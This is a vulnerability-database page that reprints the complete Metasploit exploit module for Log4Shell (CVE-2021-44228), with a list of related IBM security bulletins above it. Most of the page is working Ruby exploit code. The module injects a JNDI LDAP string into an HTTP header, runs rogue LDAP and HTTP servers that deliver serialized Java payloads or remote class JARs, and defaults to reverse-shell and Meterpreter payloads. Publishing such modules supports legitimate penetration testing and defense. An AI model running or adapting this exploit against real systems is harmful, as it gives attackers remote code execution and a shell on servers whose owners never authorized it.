Lucene search

K

Log4Shell HTTP Header Injection

🗓️ 12 Jan 2022 00:00:00Reported by sinn3r, Michael Schierl, Spencer McIntyre, juan vazquez, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 499 Views

Log4Shell HTTP Header Injection module exploits Apache Log4j2 vulnerability (CVE-2021-44228) by injecting a format message to trigger LDAP connection for payload deliver

Show more
Related
Code
ReporterTitlePublishedViews
Family
IBM Security Bulletins
Security Bulletin: Vulnerability in Apache Log4j affects IBM Cloud Private (CVE-2021-44228)
27 Jan 202212:20
ibm
IBM Security Bulletins
Security Bulletin: A security vulnerability has been identified in WebSphere Application Server shipped with IBM WebSphere Remote Server (CVE-2021-44228)
15 Dec 202104:21
ibm
IBM Security Bulletins
Security Bulletin: i2 Analyze, i2 Connect and Analyst's Notebook Premium are affected by the Log4j vulnerability (CVE-2021-44228)
24 Dec 202108:33
ibm
IBM Security Bulletins
Security Bulletin: IBM Cloud Pak for Multicloud Management has applied security fixes for its use of Log4j for CVE-2021-44228
5 Jan 202219:09
ibm
IBM Security Bulletins
Security Bulletin: Log4Shell Vulnerability affects IBM SPSS Statistics Subscription (CVE-2021-44228)
21 Dec 202120:44
ibm
IBM Security Bulletins
Security Bulletin: Apache Log4j vulnerability affects IBM Business Automation Workflow (CVE-2021-44228)
17 Dec 202115:43
ibm
IBM Security Bulletins
Security Bulletin: IBM QMF Analytics for Multiplatforms is vulnerable to arbitrary code execution due to Apache Log4j (CVE-2021-44228)
15 Jan 202200:04
ibm
IBM Security Bulletins
Security Bulletin: Is Blueworks Live affected by CVE-2021-44228 (Log4j Vulnerability)?
17 Dec 202117:30
ibm
IBM Security Bulletins
Security Bulletin: IBM Security Verify Governance Products NOT Affected by CVE-2021-44228 Exploit
4 Apr 202221:53
ibm
IBM Security Bulletins
Security Bulletin: Vulnerability in Apache Log4j affects IBM Spectrum Protect Operations Center (CVE-2021-44228)
20 Dec 202123:04
ibm
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::JavaDeserialization  
include Msf::Exploit::Java  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::LDAP::Server  
include Msf::Exploit::Remote::CheckModule  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(_info = {})  
super(  
'Name' => 'Log4Shell HTTP Header Injection',  
'Description' => %q{  
Versions of Apache Log4j2 impacted by CVE-2021-44228 which allow JNDI features used in configuration,  
log messages, and parameters, do not protect against attacker controlled LDAP and other JNDI related endpoints.  
  
This module will exploit an HTTP end point with the Log4Shell vulnerability by injecting a format message that  
will trigger an LDAP connection to Metasploit and load a payload.  
  
The Automatic target delivers a Java payload using remote class loading. This requires Metasploit to run an HTTP  
server in addition to the LDAP server that the target can connect to. The targeted application must have the  
trusted code base option enabled for this technique to work.  
  
The non-Automatic targets deliver a payload via a serialized Java object. This does not require Metasploit to  
run an HTTP server and instead leverages the LDAP server to deliver the serialized object. The target  
application in this case must be compatible with the user-specified JAVA_GADGET_CHAIN option.  
},  
'Author' => [  
'Michael Schierl', # Technical guidance, examples, and patience - all of the Jedi stuff  
'juan vazquez', # 2011-3544 building blocks reused in this module  
'sinn3r', # 2011-3544 building blocks reused in this module  
'Spencer McIntyre', # Kickoff on 2021-44228 work, improvements, and polish required for formal acceptance  
'RageLtMan <rageltman[at]sempervictus>' # Metasploit module and infrastructure  
],  
'References' => [  
[ 'CVE', '2021-44228' ],  
],  
'DisclosureDate' => '2021-12-09',  
'License' => MSF_LICENSE,  
'DefaultOptions' => {  
'SRVPORT' => 389,  
'WfsDelay' => 30,  
'CheckModule' => 'auxiliary/scanner/http/log4shell_scanner'  
},  
'Targets' => [  
[  
'Automatic', {  
'Platform' => 'java',  
'Arch' => [ARCH_JAVA],  
'RemoteLoad' => true,  
'DefaultOptions' => {  
'PAYLOAD' => 'java/shell_reverse_tcp'  
}  
}  
],  
[  
'Windows', {  
'Platform' => 'win',  
'RemoteLoad' => false,  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/meterpreter/reverse_tcp'  
}  
},  
],  
[  
'Linux', {  
'Platform' => 'unix',  
'RemoteLoad' => false,  
'Arch' => [ARCH_CMD],  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
},  
]  
],  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [IOC_IN_LOGS],  
'AKA' => ['Log4Shell', 'LogJam'],  
'Reliability' => [REPEATABLE_SESSION],  
'RelatedModules' => [ 'auxiliary/scanner/http/log4shell_scanner' ]  
},  
'Stance' => Msf::Exploit::Stance::Aggressive  
)  
register_options([  
OptString.new('HTTP_METHOD', [ true, 'The HTTP method to use', 'GET' ]),  
OptString.new('TARGETURI', [ true, 'The URI to scan', '/']),  
OptString.new('HTTP_HEADER', [ false, 'The HTTP header to inject into' ]),  
OptEnum.new('JAVA_GADGET_CHAIN', [  
true, 'The ysoserial payload to use for deserialization', 'CommonsBeanutils1',  
Msf::Util::JavaDeserialization.ysoserial_payload_names  
], conditions: %w[TARGET != Automatic]),  
OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080], conditions: %w[TARGET == Automatic]),  
OptBool.new('LDAP_AUTH_BYPASS', [true, 'Ignore LDAP client authentication', true])  
])  
end  
  
def check  
validate_configuration!  
# set these scanner options as appropriate based on the config  
datastore['URIS_FILE'] = nil  
if !datastore['HTTP_HEADER'].blank?  
datastore['HEADERS_FILE'] = nil  
end  
  
@checkcode = super  
end  
  
def jndi_string  
"${jndi:ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/dc=#{Rex::Text.rand_text_alpha_lower(6)},dc=#{Rex::Text.rand_text_alpha_lower(3)}}"  
end  
  
def resource_url_string  
"http#{datastore['SSL'] ? 's' : ''}://#{datastore['SRVHOST']}:#{datastore['HTTP_SRVPORT']}#{resource_uri}"  
end  
  
#  
# Use Ruby Java bridge to create a Java-natively-serialized object  
#  
# @return [String] Marshalled serialized byteArray of the loader class  
def byte_array_payload(pay_class = 'metasploit.PayloadFactory')  
jar = generate_payload.encoded_jar  
serialized_class_from_jar(jar, pay_class)  
end  
  
#  
# Insert PayloadFactory in Java payload JAR  
#  
# @param jar [Rex::Zip::Jar] payload JAR to update  
# @return [Rex::Zip::Jar] updated payload JAR  
def inject_jar_payload_factory(jar = generate_payload.encoded_jar)  
# From exploits/multi/browser/java_rhino - should probably go to lib  
paths = [  
[ 'metasploit/PayloadFactory.class' ]  
]  
paths.each do |path|  
1.upto(path.length - 1) do |idx|  
full = path[0, idx].join('/') + '/'  
jar.add_file(full, '') unless jar.entries.map(&:name).include?(full)  
end  
File.open(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-44228', path), 'rb') do |fd|  
data = fd.read(fd.stat.size)  
jar.add_file(path.join('/'), data)  
end  
end  
jar  
end  
  
#  
# Generate and serialize the payload as an LDAP search response  
#  
# @param msg_id [Integer] LDAP message identifier  
# @param base_dn [Sting] LDAP distinguished name  
#  
# @return [Array] packed BER sequence  
def serialized_payload(msg_id, base_dn, pay_class = 'metasploit.PayloadFactory')  
if target['RemoteLoad']  
attrs = [  
[ 'javaClassName'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence,  
[ 'javaFactory'.to_ber, [ pay_class.to_ber].to_ber_set ].to_ber_sequence,  
[ 'objectClass'.to_ber, [ 'javaNamingReference'.to_ber ].to_ber_set ].to_ber_sequence,  
[ 'javaCodebase'.to_ber, [ resource_url_string.to_ber ].to_ber_set ].to_ber_sequence,  
]  
else  
java_payload = generate_java_deserialization_for_payload(datastore['JAVA_GADGET_CHAIN'], payload)  
# vprint_good("Serialized java payload: #{java_payload}")  
attrs = [  
[ 'javaClassName'.to_ber, [ rand_text_alphanumeric(8..15).to_ber ].to_ber_set ].to_ber_sequence,  
[ 'javaSerializedData'.to_ber, [ java_payload.to_ber ].to_ber_set ].to_ber_sequence  
]  
end  
appseq = [  
base_dn.to_ber,  
attrs.to_ber_sequence  
].to_ber_appsequence(Net::LDAP::PDU::SearchReturnedData)  
[ msg_id.to_ber, appseq ].to_ber_sequence  
end  
  
## LDAP service callbacks  
#  
# Handle incoming requests via service mixin  
#  
def on_dispatch_request(client, data)  
return if data.strip.empty?  
  
data.extend(Net::BER::Extensions::String)  
begin  
pdu = Net::LDAP::PDU.new(data.read_ber!(Net::LDAP::AsnSyntax))  
vprint_status("LDAP request data remaining: #{data}") unless data.empty?  
resp = case pdu.app_tag  
when Net::LDAP::PDU::BindRequest # bind request  
client.authenticated = true  
service.encode_ldap_response(  
pdu.message_id,  
Net::LDAP::ResultCodeSuccess,  
'',  
'',  
Net::LDAP::PDU::BindResult  
)  
when Net::LDAP::PDU::SearchRequest # search request  
if client.authenticated || datastore['LDAP_AUTH_BYPASS']  
client.write(serialized_payload(pdu.message_id, pdu.search_parameters[:base_object]))  
service.encode_ldap_response(pdu.message_id, Net::LDAP::ResultCodeSuccess, '', 'Search success', Net::LDAP::PDU::SearchResult)  
else  
service.encode_ldap_response(pdu.message_i, 50, '', 'Not authenticated', Net::LDAP::PDU::SearchResult)  
end  
else  
vprint_status("Client sent unexpected request #{pdu.app_tag}")  
client.close  
end  
resp.nil? ? client.close : on_send_response(client, resp)  
rescue StandardError => e  
print_error("Failed to handle LDAP request due to #{e}")  
client.close  
end  
resp  
end  
  
## HTTP service callbacks  
#  
# Handle HTTP requests and responses  
#  
def on_request_uri(cli, request)  
agent = request.headers['User-Agent']  
vprint_good("Payload requested by #{cli.peerhost} using #{agent}")  
pay = regenerate_payload(cli)  
jar = inject_jar_payload_factory(pay.encoded_jar)  
send_response(cli, 200, 'OK', jar)  
end  
  
#  
# Create an HTTP response and then send it  
#  
def send_response(cli, code, message = 'OK', html = '')  
proto = Rex::Proto::Http::DefaultProtocol  
res = Rex::Proto::Http::Response.new(code, message, proto)  
res['Content-Type'] = 'application/java-archive'  
res.body = html  
cli.send_response(res)  
end  
  
def exploit  
validate_configuration!  
if datastore['HTTP_HEADER'].blank?  
targetinfo = (@checkcode&.details || []).reject { |ti| ti[:headers]&.empty? }.first  
http_header = targetinfo[:headers].keys.first if targetinfo  
fail_with(Failure::BadConfig, 'No HTTP_HEADER was specified and none were found automatically') unless http_header  
  
print_good("Automatically identified vulnerable header: #{http_header}")  
else  
http_header = datastore['HTTP_HEADER']  
end  
  
# LDAP service  
start_service  
# HTTP service  
start_http_service if target['RemoteLoad']  
# HTTP request initiator  
send_request_raw(  
'uri' => normalize_uri(target_uri),  
'method' => datastore['HTTP_METHOD'],  
'headers' => { http_header => jndi_string }  
)  
sleep(datastore['WfsDelay'])  
handler  
ensure  
cleanup  
end  
  
#  
# Kill HTTP & LDAP services (shut them down and clear resources)  
#  
def cleanup  
# Clean and stop HTTP server  
if @http_service  
begin  
@http_service.remove_resource(datastore['URIPATH'])  
@http_service.deref  
@http_service.stop  
@http_service = nil  
rescue StandardError => e  
print_error("Failed to stop http server due to #{e}")  
end  
end  
super  
end  
  
private  
  
# Boilerplate HTTP service code  
#  
# Returns the configured (or random, if not configured) URI path  
#  
def resource_uri  
path = datastore['URIPATH'] || rand_text_alphanumeric(rand(8..15)) + '.jar'  
path = '/' + path if path !~ %r{^/}  
if path !~ /\.jar$/  
print_status("Appending .jar extension to #{path} as we don't yet serve classpaths")  
path += '.jar'  
end  
datastore['URIPATH'] = path  
return path  
end  
  
#  
# Handle the HTTP request and return a response. Code borrowed from:  
# msf/core/exploit/http/server.rb  
#  
def start_http_service(opts = {})  
comm = datastore['ListenerComm']  
if (comm.to_s == 'local')  
comm = ::Rex::Socket::Comm::Local  
else  
comm = nil  
end  
# Default the server host / port  
opts = {  
'ServerHost' => datastore['SRVHOST'],  
'ServerPort' => datastore['HTTP_SRVPORT'],  
'Comm' => comm  
}.update(opts)  
# Start a new HTTP server  
@http_service = Rex::ServiceManager.start(  
Rex::Proto::Http::Server,  
opts['ServerPort'].to_i,  
opts['ServerHost'],  
datastore['SSL'],  
{  
'Msf' => framework,  
'MsfExploit' => self  
},  
opts['Comm'],  
datastore['SSLCert']  
)  
@http_service.server_name = datastore['HTTP::server_name']  
# Default the procedure of the URI to on_request_uri if one isn't  
# provided.  
uopts = {  
'Proc' => method(:on_request_uri),  
'Path' => resource_uri  
}.update(opts['Uri'] || {})  
proto = (datastore['SSL'] ? 'https' : 'http')  
print_status("Serving Java code on: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")  
if (opts['ServerHost'] == '0.0.0.0')  
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address}:#{opts['ServerPort']}#{uopts['Path']}")  
end  
# Add path to resource  
@service_path = uopts['Path']  
@http_service.add_resource(uopts['Path'], uopts)  
end  
  
def validate_configuration!  
fail_with(Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') if ['0.0.0.0', '::'].include?(datastore['SRVHOST'])  
if datastore['HTTP_HEADER'].blank? && !datastore['AutoCheck']  
fail_with(Failure::BadConfig, 'Either the AutoCheck option must be enabled or an HTTP_HEADER must be specified.')  
end  
end  
end  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo